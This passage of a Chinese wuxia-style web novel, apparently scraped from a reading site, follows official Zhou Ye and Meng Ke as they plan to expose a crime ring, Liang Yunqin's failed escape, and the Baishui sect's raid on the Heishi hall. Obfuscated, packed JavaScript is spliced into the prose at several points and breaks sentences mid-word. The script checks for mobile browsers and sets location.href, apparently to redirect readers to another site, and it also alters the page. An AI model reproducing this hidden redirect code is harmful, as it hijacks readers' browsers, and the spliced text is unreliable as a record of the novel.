连从来一是一，二是二的涤砚，这次也有些举棋不定，不敢说定要捅破此事，“公子处理此事之前，得先想定了怎么个办法，才好去做。” “这有什么好想的？”侍剑越听越懵。 洗墨忍不住敲了他头：“这事一闹开，衙门失了民心，百姓必定民怨沸腾……这绥陵就乱了。” 侍剑没明白怎么就乱了，疑惑道：“这事又不是我们干的，我们处置了坏人，是好事啊。百姓不该感谢公子吗？” 涤砚道：“这事伤及了朝廷、衙门的体面。” 侍剑摸着后脑勺：“体面？觉得发生了这事丢……面子？衙门之前的官没做好，如今有人纠正过来不就好了？” 洗墨道：“你傻啊！这事捅出来，百姓还能信衙门吗？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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周冶道：“可是，这样一来，大事化小，那些人不会得到应有的惩罚，很多人根本不会被处置。二则，百姓不知道，也就不知道防范。难保那些人不会过一段时间，甚至直接换个地方，春风吹又生。” 洗墨：“这……那……怎么办？” *** 孟珂又道：“这还是假设一切顺利，能抓到人，能拿到实证，把案子做实的情况。可这案子若做不实呢？若是人跑了，证据毁了呢？捅出这么个大窟窿，只拿住几个小喽啰，大人怎么交差？” 洗墨和侍剑都睁大了眼，看了看公子，又看向了涤砚，可这次，连涤砚也答不上了。 周冶扫了屋内人一圈，像是做了决定：“这事必须办，这事也……必须让百姓知道。必须有他们的千万双眼睛看着，才能避免这种恶事死灰复燃。” 他岂能不知道为官之人的想法？谁愿意有千百双眼睛，而且还因为旧案而带着怀疑眼光，事事盯着，时时看着？可是，这是唯一的出路。 只靠官府灭火，是灭不完的，也灭不及时的。只有所有人都看着，所有人都能示警，才不会有其他的义庄案，或类似的案子隐藏数年而不发。 孟珂看着他，慢慢道：“可是，若因这一案而开罪了上头，断了你的仕途，那绥陵百姓便只能翻这一个案子——你这个好官，也只能用这一次。” 周冶笑道：“我本来就是来吃喝玩乐的。能在这块地里，挖出这一块糟烂的东西，也就不枉来这一趟了。” 孟珂看着他笑笑，点着头道，“大人自然可以不再走仕途，退出朝堂，做一生的富贵闲人。周家大公子，有退路，有选择。可是，有了你这颗祭棋在前，日后换了其他人，面对其他案子，还敢不敢翻？朝廷之上，那些有心想做些事的人，会不会噤若寒蝉？” 周冶正要说什么，孟珂又继续道：“自然，大人你毕竟不是无根之木。在这朝堂之上，想自保是容易的，想不影响仕途，也不是不可能。可是，别人呢？别人就没有这样的倚仗了。” 周冶突地笑了：“什么都让小姐说了，我……还有什么可说。” 孟珂定定地看着他，笑道：“大人，朝堂上，就按朝堂的玩法。至于江湖的，便交给江湖吧。” 85. 逃跑 孟珂既然安排了这事如何发起，自然也想过要如何收。自己倒是省力了，借风行船便好，于是，周冶笑问：“那这江湖之事，江湖会怎么做？” 孟珂道：“前几日，白水门的人就在城内外聚集，盯着黑石堂的地方。双方矛盾已久，剑拔弩张，一触即发。” 她将杯中茶放下，笑着看周冶道，“黑石堂的每个明哨暗哨在哪，大小据点在哪，有哪些大小头目，每个人实力如何……它的死对头，可比衙门清楚多了。” 听到白水门，周冶一点都不意外。白水门当初就听孟珂的使唤，去救同他们无干的樊仲荣，如今来帮着对付原就敌对的黑石堂，更说得过去。可是，白水门一直为她所用，这次更是不遗余力地出手，到底是为什么。 他心中也不由浮起一个人的身影，那身影，让他想到了另一个认识的人。 心中一直以来的疑问更甚，但此时还不是过问的时候，他暂且摁下了，继续问：“那白水门对黑石堂发难，又师出何名？” 孟珂道：“前些日子，黑石堂的人跟白水门因地盘再度摩擦，还打死了对方的人。” 周冶笑笑，早就把由头都找好了，甚至连箭都已经架在了弦上。 他点头道：“既然有死对头时刻盯着，团团围着，那衙门也不需要太多人手。” 孟珂带着淡淡的笑意，一派指挥若定的样子：“江湖势力互斗，白水门筹备多年，一举出手，收拾了黑石堂这个对手，将其地盘、势力都收了，顺便还向衙门卖了乖——交出其犯下的种种罪案，人犯、证据。” 她端起茶盏，朝周冶一举，“到时候，大人该审审，该抓抓就是了。” 若只靠衙门的人，还真是抓不动，也关不下。这般筛过一遍，倒是省人也省事了。人多手黑，还多是亡命之徒的黑石堂被控制下来。衙门只需收拾商会和梁府，就没什么压力了。 “等案子处理完，慢慢就会传出义庄案的流言。但那只是黑石堂自己做事不小心，走漏了风声，如今让白水门端了，知情人才敢张嘴，把这些滔天恶事说出去。” 周冶接话道，“而无论哪一路，都与衙门无关，甚至也不是白水门做的。” 孟珂点头笑道：“黑石堂行事已久，哪能真的全无破绽？上头便是派人来查，也只能查出江湖恩怨，查出世上没有不透风的墙，怪不到大人头上去。” “只要局面稳下来了，朝廷也不至于因为透出这个风声就狠手对江湖势力动手，成本高，收益小，犯不着。大人你到时候配合地做做样子，就是了。” “可小姐如何知道，这义庄的事传出来，局面还能稳定？” 孟珂道：“因为到时候只是流言。” “流言意味着有人信，也有人不信。如此，能给有心的人提个醒，让他们知道该防备什么；真发现有蹊跷的时候也知道往哪儿去想；这便起到了我们想要的提醒百姓、监督衙门的作用了。” 她顿了顿，浮出一丝讥笑，又道，“如此，也能给那些无力、无心去顾家人身后事的人一个台阶。民间的想法不一，自然也就难以形成同仇敌忾的民怨。” “小姐果然周全。”周冶道，“不过，若是有心之人要利用、煽动……” “自然，也不能只靠这流言，到时候还会有一个比这不知真假的流言，更引得全城关注的事。他们没几日便会忘了这事。”孟珂道，“而有心之人，届时也会有心无力了。” 说完，孟珂放下了杯子，“我能做的也就这些了，剩下的实事就全都要靠大人。” “小姐如此说，倒是让我汗颜。小姐什么都安排明白了，我这是坐收渔利。” “各自不一样罢了。”孟珂起了身，“不早了，明日还有事，就不耽搁公子了。” 周冶起身送她出门。 她走出门，顿了顿，向后微微侧头道，“这人情，我算还上一笔了。” 周冶看着她的背影，笑了，点了点头。 后面的几个人见状立刻就叽咕开了。 洗墨：“什么人情？” 侍剑：“什么意思？公子怎么笑了？” 洗墨：“麻烦解决了？这就商量完了？” 三人六眼相互打量，只涤砚笑笑，做自己的去了，剩那二人自己瞎嘀咕。 那人的背影慢慢消失，周冶还站在门口，看着那空无一人院子。 洗墨走上前去，顺着他的目光看了看，奇怪地问：“公子还在看什么？” 周冶没应，仍看着隔壁院子的屋脊，心道，这人到底是谁，她又知不知道这人是谁？ 良久，洗墨才听他自言自语似地轻声道：“不应该啊，他现在哪里腾得出手来？” 洗墨不由奇怪地问：“他？哪个他？” 侍剑也走上前来：“公子，小姐说有人要跑，可要我去看看？” 周冶终于收回了目光，笑道：“小姐既那么说了，就不会让人跑了。做咱们该做的便是。” “你也不问跑的是谁？”侍剑问。 周冶笑：“梁云钦呗！胆小，钱多。” *** 梁云钦的马车到了城门口，范存迟疑了一下，还是忍不住问：“老爷，真的不接夫人和少爷小姐？” 梁云钦愣了一瞬，看向了范存。 他自己这大半辈子都当别人的工具，自然明白范存这份“好心”背后的关键——若看自己连妻小都能抛下，以后自然也会毫不犹豫地牺牲这些为之卖命的人。这样一来，就是比谁先背叛谁了。 范存道：“小的……多嘴了。” “哪里的话！你这话问得很是！”梁云钦笑道。 他必须要稳住范存，脑子一转，做出一脸认真样，“你若不问，我倒还要疑心，你的忠心，是有钱就能买了。” 他哎了一声，蹙起眉头，拍着胸脯，痛心地道：“我哪能不考虑家小呢！只是……我这一路是逃命的，说难听点，就是凶多吉少！何苦让他们跟着我涉险？他们也吃不得这奔逃的苦，还是我一个男人先去的好。” 他越说底气越足，好像真有那么回事一样，“再说了，妇道人家和孩子，终究沉不住气，少不得漏出端倪。家里难保就没有安插的探子，那时谁也走不了。等我安顿好了，再派人回来接他们，方是万全之策。” 他自觉一番话说得合情合理，范存果然也不再言语。 他这才放下心来，往马车壁一靠，心下嗤笑道，家小？英雄如汉高祖，逃跑路上不也将亲生儿子刘盈扔下。仁义如刘玄德，不也把亲生儿女两番扔下马车？他好歹没让孩子眼睁睁看着父亲抛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999182|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下自己。 这二位的一生功业、身后之名，可受什么影响？还别说他一个压根不需要什么名声的人了。 更别说这样的大人物，便是古今多少带兵之将，妻小不都被扣在皇帝手中，可他们不也说反便反，说叛就叛？也没耽误他们重新娶妻生子。 “大丈夫何患无妻，哪能被儿女情长相挟？” 马车一路疾驰，他拍了拍身旁的小匣子，“只要这次能成功挪窝，就凭着手中这些东西，便是再娶几房，再多生些又有何难？” 他不时掀开车帘，往后看去。好在，晨曦之中一片安宁。一路只遇到几个早起赶集的庄户，拉着装满菜蔬的大车进城。 每离城一段，他那悬了一夜的心，便多放下一分。天渐渐亮了，他也不敢再随意掀帘，怕万一被路人认出。 绥陵的界碑将至，他正要掀帘看看，马车就突地停了，一种不好的预感顿时升了上来。 外面的范存也没吱声。梁云钦心下突突地，忙问：“怎……怎么停了？” 还是没人应。 梁云钦这下真慌了，试探着，伸手将车帘掀开一条小缝，还没来得及往外瞧，一把雪亮的剑就扎了进来，架在了他脖子上。 “大清早的，这是要往哪儿去呀？”一个熟悉的声音笑道。 *** 梁云钦连人带车被扔回了邀月阁。 孙九爷也不与他多话，拍了拍手，掸掸衣服，打着哈欠往外走去：“你那一车的东西，我就笑纳了。” “九……九哥！” 梁云钦突然冲出去几步，叫住了他，“有个小忙，还想请九哥帮一帮。” 孙九爷顿住了脚步，转过头，眯缝着眼，满脸轻蔑地看着他。 梁云钦笑道：“你知道的，我跟……梁夫人呢，有些陈年的……过节。” 孙九爷自然知道，但不知他突然提起是何意。 “有件事，我不好跟她提，要不九哥替我带带话？” 见孙九爷没吱声，便是要听了。梁云钦促狭地笑道：“是这样，梁夫人身边的孙嬷嬷……” 孙九爷的脸色登时变了。 见此，梁云钦脸上笑开了花：“我这人也没什么出息，一辈子就好个女色，现如今也没别的想头了，就一个夙愿没达成——我早就见嬷嬷颜色甚好，有意纳娶，还望九哥，能替我向梁夫人开口一讨？” 孙九爷知道，他这是清楚二人的关系，故意来臊他，可当着众人又不能戳破。他看着梁云钦的目光狠戾了起来，但很快又散了，笑道：“都什么时候了，还惦记着纳新人呢。你啊，这辈子是有命想，却没命享了！” 说完，重重地哼出一声，转身拂袖而去，却听得梁云钦在背后大笑了起来，笑声在邀月阁内来回荡漾。 “九哥别急啊！” 梁云钦大声喊道，“孙嬷嬷云英未嫁，一直守着梁夫人，也不知是什么道理。她到底是舍不得什么人？一个女人，没夫君，没孩子，可怎么过啊！” 孙九爷闻言脚步顿住了，但终究没有回头，一路出去了。 梁云钦的笑也随即立刻就收了起来。 那日经苏姒提点，他再细查，发现这孙嬷嬷还真生过一个孩子，而生子的时候，竟正好跟霍茹蕙的母亲，同在一处。 86. 福星 梁云钦马车上的大小箱子被搬了下来，在邀月楼后巷里摆了一溜。 孙九爷过来，见众人都老实等着他来开，这才稍稍敛了敛怒意，抬下巴冲心腹王成示意。 王成会了意，上前去掀开最大的一口箱子，却登时愣了，忙又再掀开一口，旋即睁大双眼看向了孙九爷。 孙九爷上前一看——里面装的竟全都是石头！ 他气得一脚踹上箱子：“梁云钦！你耍我！” 楼上，梁云钦捏着茶盏的胖手上，青筋隐约暴起，恨得牙痒地道：“孙老九！” 可气完却又笑了，“孙老九！” 见他一会儿怒一会儿笑的，苏姒上前搭着他肩头，一脸好笑地轻轻一推：“老爷，你这是怎么了？” 梁云钦松开了捏着茶盏的手，看了她一眼，摇头道：“没……没什么。” 苏姒嗔笑道：“我昨夜陪老爷喝了那么多，按说不到午后是醒不过来的。谁料，早上竟突地一阵心悸，醒过来了！一醒，竟见老爷不在，惊得我……我还以为，老爷抛下我，跑了呢！害我伤心了半日。” 说着，指着自己眼睛，“瞧，眼睛都哭肿了。” “瞎说什么呢！”梁云钦一把搂在她腰上，将她拦腰坐在了大腿上，抱在怀中，语气和顺了些道，“我就是睡不着，又怕吵醒了你，就出去遛遛。路上……碰到孙九爷，一起聊了聊，这不就回来了。” “遛遛？”苏姒轻“哼”了一声，抬手在他身上不轻地拧了一把，“怎么遛出一身伤来了？” 梁云钦“哎哟”了一声：“你明知我伤，还来折磨我。这不是那个孙老狗干的！仗着他有功夫……闹着玩也没个分寸。” 他脸上虽刻意淡化，但说着说着，心中的恼怒分明又翻腾了上来。 苏姒看破也不说破，笑着上下左右地端详他，打趣道：“我就想着，老爷若是一句话都不留，就这么弃我而去。别说这么拧了，我都恨不得……那句话怎么说的来着？对了，叫恨不得啖其肉，食其骨，断其筋，饮其血，末了，还要挫骨扬灰！” 梁云钦被戳中了，脸上有些绷不住了，一时颜色复杂，只笑着打哈哈。 苏姒见状，也不追逼，倒是缓了神色，两只胳膊缠上他脖子，笑道：“这要是往常，老爷便要笑我乱使性子了！老爷今日……果然不对劲。” 梁云钦听了，脸色又一变，翻脸的话已经到了唇边，却听苏姒的声音立刻一变，带着哭腔，“老爷莫不是……真有了其他相好，要把我弃了吧！” 说着，登时泪盈于睫，大滴大滴的泪珠眼看就要滴下来。 见他一时愣在那里没言语，立刻从他怀里挣出来，站起来冲他喊道，“真让我说中了！” 原来只是为吃醋，梁云钦心下松了，笑起来，哄道：“哪有的事！没有的事！你说你，就是爱乱想！不搭理你，你倒还更起劲了！” “真的？”苏姒眨巴着泪眼看他，“可不许骗我！” 梁云钦顿了顿，说道：“比珍珠还真！” 苏姒这才笑了，擦了擦泪，几步走进里间，抱了个匣子出来，往桌上一放。 梁云钦意外地抬眼看她，心里猜着了几分，却不敢相信。 “这些日子，我看老爷始终面有愁色，想是遇到了难处。”她将匣子打开，推向梁云钦，“老爷也知道，我就是个手上没什么数的人，这么些年来，也就只剩这么点体己。如今想出点力，才悔不当初，也没能多攒些，好帮帮老爷。老爷莫嫌少就是！” 几年下来，梁云钦哪里不知道她是个花钱没数的主：“真舍得给我。” 苏姒嗔道：“那自然也是……有点怕的。万一这棺材本儿给了你，转头就另有相好，把我扔了，我怎么办呢。” 话一说，眼泪又在眶里汪了起来。 看着匣中的银票细软，梁云钦惊讶过后，心里不由一软，都说风尘堆里也出那有情有义的，难道还真让他患难见真情了？不过，自己虽则年纪大些，仪表算不得出众，但也是有些好处的。这苏姒还算有些眼光，不像那些小女子，只喜欢找些薄情的书生，没用的小白脸。如此想着，他那胖大的腰身也直了起来。 他嘴角不由也弯了弯，看向苏姒，“乱想！哪来什么相好！谁都没你好！” “真的？”苏姒歪着头看他，两手重又搭上他，依偎着道，“老爷，若是……哪日真要走，也要带了姒儿一起才是。这些年朝夕相伴，鹣鲽情深。若是没了老爷，让姒儿怎么活啊！” 梁云钦听着那鹣鲽情深，没应声，只抬手轻轻拍了怕她。没想到，这苏姒平日挥金如土，性子骄纵，竟还是个实心眼的，真把自己当夫君了。 “对了！”苏姒想起了什么，从袖中掏出一张纸来，“我此前去为老爷祈福，找道人起过卦的，说老爷您命中有福星，必有贵人襄助。贵人一出，诸邪必退，管保老爷无虞。老爷就别担心了！” 梁云钦笑着点头道：“嗯，你就是我的福星！” *** “公子！公子！” 洗墨从外面跑进听风轩，“这孟小姐还真神了！果真如她所言，昨天夜里有人收拾包袱跑了！” 周冶抬眼看他，笑而不语。 见公子一副了然的样子，也不问是谁，结果如何，洗墨也接着拍上公子的马屁道：“公子也料事如神！你猜得没错，跑的就是梁云钦，人已经抓回来了，还是孙九爷亲自带人抓回来的。不过，奇怪的是，马车里装了大大小小好多箱石头。气得孙九爷吹胡子瞪眼的！别提多好笑了！” 周冶仍没搭理他。 洗墨走到他身边，“公子，你说他是真跑假跑？真跑的话，怎么可能带一车石头？难不成是想假装逃跑，试试看能不能成，能成再带金银细软？” 周冶终于笑道：“假跑？假跑哪有亲自跑的，找个人扮成他的样子去试不就行了？” “说得也是！”洗墨又疑惑了，“那这空箱笼是怎么回事？” “自然是被人偷梁换柱咯！” 洗墨摸了摸下巴，“谁能在孙九爷和梁云钦两边人马的眼皮子底下，偷梁换柱却不被发现？” “谁能料敌于先，事先安排？”周冶问。 洗墨的目光不由看向了隔壁院子。这一看，他突然福至心灵地道：“公子不让人去追，便是有意放手，不扰……这人的布置！” 这次周冶看也没看他，只当没听见，脸上也没什么表情。不知为何，洗墨却觉得他分明有些小小的得意。 *** 梁云钦知道，一次没跑成，便再也跑不掉了。 衙门和黑石堂的人，甚至还有些不知哪里的人，日夜不停地围着邀月阁，如今是插翅也难飞。这下，他只好真的日日买醉。 不过，他对熹园的寄望重又燃了起来。 苏姒之前便说过她算的那卦，但他当时并未往心里去。 等她重提起来，他才细细问了一遍，这一问不得了，说他的贵人乃高阶贵人，还是个暗贵人，即女子；且贵人星的方向，利在东南。熹园可不就在邀月阁的西南。 看来，熹园还有希望。虽等了些日子也没消息，他横竖也要再试试。 他如今上哪都有人盯着，便让苏姒替他再上门去。可苏姒连回雪也没见上，只一个小厮传话说，“小姐如今精神短，府中多少大事都不敢劳烦她。你且再等等。” 若是无事无情的，他自然不介意再等等，可眼看着案子一步步查着，衙门随时可能动作，他一日比一日焦，急得像热锅上的蚂蚁。 还是苏姒淡然道：“老爷，你道这小姐为什么不见你？” 梁云钦疑惑地看着她。 苏姒笑道：“真真是当局者迷！老爷这么聪明的人，到了自己的事上头，也犯糊涂了。” “你这话怎么说？” 苏姒道：“老爷上熹园，说了想投效，对吧？” 梁云钦不知道她为何明知故问： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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苏姒久在风月场，惯会讨欢心，又给他找补道：“这也难怪。老爷在这三州之地，如鱼得水多少年。都是旁人上门来求老爷，老爷早忘了求人是什么样了。难怪人家说富贵迷人眼，老爷可不就是被迷了眼了。” “我是被你迷了眼。”梁云钦笑着伸手要去捏她的脸，却让她身子一个游鱼出水，躲开了。 苏姒道：“再说了，那佛脚要这么容易能抱上，也不是什么有本事的大佛了！” 梁云钦点点头，也不求见了，盘了盘自己身家，估摸了一下卢府的门槛，凑了个数，直接让苏姒将匣子送过去，乖乖回来等消息了。 自此，他待苏姒，又不同了。 *** 一个夜里，一辆马车到了邀月阁，大摇大摆地穿过衙门和黑石堂的双重封锁，回了熹园。 马车里下来两个嬷嬷，从侧门入了园。 那嬷嬷身形庞大，看着倒也熟悉路线，却一路走一路东张西望，像是旧地重游，发现新景象。 两个嬷嬷身后坠着几个丫头，一路进了正堂。丫头们便在外守着了。 那嬷嬷走到光亮中，抬起头来，正是梁云钦。 梁云钦坐了下来，心道，这小姐果然有手段，这个佛脚虽难抱，但只要抱上，没准儿跟苏姒说的一样，日后有大造化。难道，他梁云钦后半辈子还要再发迹一回。 等了不过一盏茶的功夫，回雪就出来了。 这次，回雪也不冷了，见了他就笑道：“梁老爷终于肯说实话了。前些日子拿着那些愿意效劳的片儿汤话来，浪费我们的时间。也耽误老爷你自己的事不是？” 梁云钦讨好地笑着，连连称是：“姑娘说得对，是我糊涂！” “走吧！小姐可不等人。” 回雪带着他，一路穿屋进院，进了个暖阁。 阁里，帘后已经坐了个人。 梁云钦忙跪下拜道：“小的梁云钦，见过小姐！” 帘内，小姐抬起纤纤玉手，捏起一摞银票，扔了出来。 梁云钦看着满地的银票一愣，这是什么意思？都愿意见他了，还这么着？是下马威么？ 只听小姐笑道：“梁老爷，你是觉得自己阖家老小的命就值这点钱呢，还是觉得卢府差你这点儿银子？我不缺银子花，可从这，却可知道梁老爷的诚意有几分。” 这意思……难不成要他全副身家？梁云钦心道，这胃口未免也太大了！让他白干一辈子，可一无所有跟死了有什么区别？这大腿再粗，他不抱还不行吗。 87. 看戏 梁云钦还低头跪着，想着，大不了不陪你们玩了，爱咋咋地。 听帘内又传来一句，“今日叫你来，是老听人在耳边念叨，不想你再这么……一次次折腾。” 这意思是嫌他烦？那传一句话也就罢了，何必把人叫到面前来作贱？这些高门小姐公子就好这些当面折辱吗？梁云钦脑子里转着不忿，只想起身拂袖而去，却终究没敢。这辈子，在人前跪久了，也就爬不起来了。 “不过，你来都来了，我也不妨送你个人情。”孟珂站起身来，左右走了两步，似是考虑了一下，这才顿住脚步，垂下视线，看着帘外跪着的人，淡淡地笑道，“梁老爷可知道，你被抢的账本在哪儿？” 梁云钦身子微微一颤，果然什么都瞒不过她。 他还未来得及开口，就听孟珂又补了一句，“我说的是，你被抢的第二本。” 她还真是什么细节都不落下！被抢也就罢了，被抢几本都知道，甚至知道被抢的先后。方才想愤而离去的心思，这下又转了回来，心道，这大腿要不还是再试着抱上一抱？ 孟珂本没打算听他言语，自顾自道：“第一本在哪里，老爷自己知道，不需要我说。至于这第二本嘛，如今已经辗转到了……周大人手里。” 梁云钦心里的最后一丝侥幸也落了空，这下，都不需要孙九爷踹他下水了。他已经下了水。 说完，帘内的人便提步要去，走出两步，又顿住了，“我不妨再送你一条消息。梁老爷可知，曾大人是死在谁手上？” 梁云钦迷茫地抬头，看着那道纤细却让人心生忌惮的身影：“不是樊仲荣？” “樊仲荣？”孟珂轻笑了一声，好笑道，“他自己都折在了人手里，有什么本事杀人？” 梁云钦心思急转，当下明白了她那意有所指的是谁，却犹自不敢相信，“难道是……，可他怎么敢？！” 孟珂顿了片刻，哂笑道：“他敢不敢的，别人也许不知道，但梁老爷你却比谁都清楚。” 是了，曾怀义死的当夜，他去找孙九爷，等了一夜都没等到人。第二日在曾家再见的时候，孙九爷一不震惊于这个突如其来的消息，二不好奇曾怀义到底死于何故，死于谁手。原来，就是他干的！ 孙九爷手黑，他是知道的。可对曾怀义下手，他还是有些不敢相信，或者说，不愿意相信。 孟珂的声音打断了他的思绪，“梁老爷不妨想想，曾怀义说是就死了，你为何能活到现在？不过，你还能活多久？” 梁云钦当然知道，孙老九要他的命容易，可他死了不要紧，他手中的钱在哪，生意怎么接？孙老九留着他，不过是想先拿到这些。 孟珂又道：“梁老爷你再想想，官府虽然随时可能出手拿你，但真正想要你命的、不需要证据就能要你命的，是谁。” 梁云钦明白，孙老九和梁夫人是想借官府的刀杀自己，如今想来，落在官府手里，反而还能活长一点，还有机会博一份生机。 这几个问题一问下来，梁云钦已是冷汗涔涔。 他哪里还敢生什么心思，在命面前，钱还是可以先舍的。他忙匍匐下地，真心悔悟地道：“梁某今日来得匆忙，难免不周全，还请容我回去细细盘盘账目，再来回禀小姐。” “你慢慢盘。” 那声音一边说着，一边远去了。 梁云钦仍在惊惧之中，匍匐在地上，半晌没起身。还是一旁的下人来扶，他才回过神来，脚下踩着云一样，跟着人出了熹园。 走到后门口，他又回头看了一眼，夜色中，庭院深深似海。这个宅子，他原本来过不知道多少趟，可从未有过这样的感觉。果然，一个宅子贵不贵，还是看什么样的人住着。 梁云钦抬头看了看天，终究是天未绝他之路，叹了口气，心中主意定了——与其在孙九爷手上，丢钱又丢命，还不如拿钱来买命。哪怕是拿出全部身家呢。 只要活着，总还有翻身的希望。万一，这佛脚还真能让他抱着升天了呢？ 梁云钦很快就庆幸自己及时做出了这个决定。第二日，周冶便带人查抄了商会和梁府，将他下了狱。 让他意外的是，熹园竟已经打过招呼，官差一路都没为难他，还悄悄递话，“小姐说了，过场总还是要走一走的，你态度上得配合，话嘛，则不用急着说，等小姐指示。” 梁云钦忙不迭地应了，“静候小姐指示。” *** 这天夜里，孙九爷从思园回来，翻墙而入，哼着幸灾乐祸的小曲儿走进正堂，却见心腹王成站在门口左顾右盼。 “你守在这做什么？”孙九爷难得如此和善地对底下人笑。 王成却对着他挤眉弄眼，边道：“九爷回来了……” 话没说完，一个人就从内堂大步走了出来。 “孙九爷！”周冶冲他点头一礼，“这么晚才回来，这堂中之事奔忙辛苦。” 孙九爷着实意外，不过，内外扫了一眼，瞧他只主仆三人，便放了心。他应该就是趁着扫了商会，来冲他抖抖威风，借机吓唬吓唬罢了。 孙九爷笑着拱手一揖：“不知大人大驾光临，草民有失远迎！” 两相客套了一番，入堂坐了下来。 周冶果然说起，商会和梁府被查之事，更是拿孙九爷与梁云钦过从甚密来点他。孙九爷笑道：“大人既查了梁云钦，来问问孙九，也是自然。我必定知无不言言无不尽。只是，他那些事，我黑石堂委实没有参与，只怕是帮不上大人了。还请见谅！” “不不不！九爷误会了！”周冶摇着手，笑道，“九爷误会了！我虽知道你与梁云钦素来亲厚，但今夜却不是想从九爷处问他的罪。” 孙九爷“哦”了一声，皱起眉，故作疑惑道：“那大人所来为何？” “自然是为孙九爷你！”周冶见他没明白，笑着解释道，“我今日来，是想问孙九爷你自己的罪！” 孙九爷听了一笑，他还未拍案而起，身侧的王成一个眼神，周围立刻闪出人来，“唰”一声齐齐拔了刀，层层围了上来。 谁料，就在这拔刀之声响起的时候，外面竟也传出一片拔刀声。堂上诸人一愣，仿佛一时没闹清，那是回声，还是真的。 就在这怔愣之中，听得外面有人怒喝一声，“什么人？出来！敢上黑石堂挑衅！不要命了！” 王成看了孙九爷一眼，忙冲出门去，身躯顿时一震。 只见四面屋顶上、围墙上，齐刷刷地冒出一重重人影，黑云似地，压在总堂之上。 他眨了眨眼，看着黑暗中的人，有一瞬的疑惑。毕竟，他入堂多年，虽然江湖纷争不断，但从来没人敢直接上黑石堂的总堂挑衅。这么多人来此，到底为何？ 他疑惑地回头看了里面的周冶一眼，这些人看着可不像官府的人，可这些人和官府，真不是商量好的？ 随着那些黑影层层就位，一个白色的身影在正对面的屋顶上，慢慢走了上来，最后在屋脊之上站定。 那人看身姿是个青年，戴着银色面具，衣袂在夜风中翻飞，倒颇有些月下仙人之姿。但在黑石堂的人眼中，这身白衣再仙再美，也只意味着索命无常。 王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周冶说完坐了下来，随时端起桌上的茶杯，又想起了什么，看了看周围手脚发软的众人，又放下了，扶着额头叹气道，“我今日出门没看黄历！” 孙九爷让他噎了回去，还真不敢笃定这就是周冶干的，指着他“你！”了一声，气恼地收回手去。 周冶伸脖子看了看外面，往回扫了孙九爷一眼，又道，“你们慢慢打，看着点打！可别殃及池鱼！” 见他这一幅与己无关、不想参与的样子，孙九爷想着，他周冶统共就三个人，确实不参与最好。他方才说那番话，本来也是诈他一诈，既然他愿意旁观，最好不过。 于是，孙九爷放心丢下周冶几人，走到门外去，冲着屋脊上站着的白影道：“白水门今日所为，也不怕江湖上耻笑？” 那白影道：“你孙九爷做那么多坏事，可曾怕过遭人耻笑？” 孙九爷脚尖一点，当即飞身而上，那白影也飘飞下来，二人当空缠斗了起来。 见状，周冶一个眼神，侍剑便依计护着涤砚往后堂去了。 衙门虽不必出手拿人，但查找证据还是得他们自己的人来，也要防着黑石堂乘机销毁。 那二人去了，堂上只剩了周冶一个。 他走到门口，站在当中间，扫了一眼那上下左右打成一团的人，目光落定在了那一黑一白交缠的身影，不时闪身避过那些被打飞过来的人。 这个人虽只说了一句话，但周冶不知为何，觉得他同那日在衙门内院遇到的，有点什么不一样。 88. 白衣 黑石堂的人大半都中了软筋散，很快便失去了战斗力。白水门的人不费多少功夫便步步攻进来，将人都控制住了。 孙九爷眼见势头不对，便想突围冲出。他这日先是临时出了门，又刚从外边回来，没来得及饮食，侥幸没中软筋散。但自己人不中用了，白水门的人实在太多，他终究还是寡不敌众。 眼看朝外突围是没戏了，他也并不慌张，果断朝正堂后撤，手中飞出数枚暗器，将堂里各处暗藏的几个大缸打破了，火油当即流了一地。 “不好！”周冶见状急道，心里骂道，谁特么在自家埋那么多火油啊！这是早就准备随时鱼死网破。里面的证据还没来得及找出，房子还不能烧。 “这儿交给你了！”周冶冲外面的白影高声一喊，折身便往后堂深处跑去。他得帮着侍剑他们，把重要的东西抢出来。 与孙九爷缠斗的白影，也当即明白了他的打算，原本同他打得游刃有余，一派悠游飘逸的模样，掌风顿时变得凌厉起来，直出杀招。 可孙九爷的心腹王成，却从斜刺里杀了出来，挡在了他身前。 “还那么忠心呢？”那白影冷冷地道，“不知你的好兄弟刘昆，如今在哪儿？” 便是王成这一挡的功夫，一只亮着的火折子，在夜空中如流星滑过，落在了火油上，瞬间便腾起了一片火墙。孙九爷一飞身，进了那燃起熊熊烈火的屋里，隔着火墙朝他一笑。 那白影身影一滞，一时没闹明白，他这是要自尽，还是做什么？ 就是这一迟滞，孙九爷的身影一闪便隐没在了堂内。 火已经熊熊烧起来了。周冶冲进去，必定是抢证据去了。这么短的时间，只怕来不及找到并搬出来。白影在火墙前停下，朝后面的人大喝一声道：“救火！” 说完，也一头钻进了起火的屋里，全然不管身后传来“门主、不要”的惊呼。 白影只迟了这么一句话的功夫，进去就四处找不见孙九爷的人影了。 那孙九爷窜进后堂，本就没走远。他直奔堂侧的小天井，不等站住脚，就一掌打过去，将井上盖着的石板打碎了，随即飞身跳了进去。 井里一片漆黑，他熟稔地从井壁的缝隙里摸出一个火折子照亮，随即推开石壁上的暗门，闪身而入，便从里面锁上了。 狡兔尚且三窟，他这样的人，自然也早备好了万一，留了这条生路。 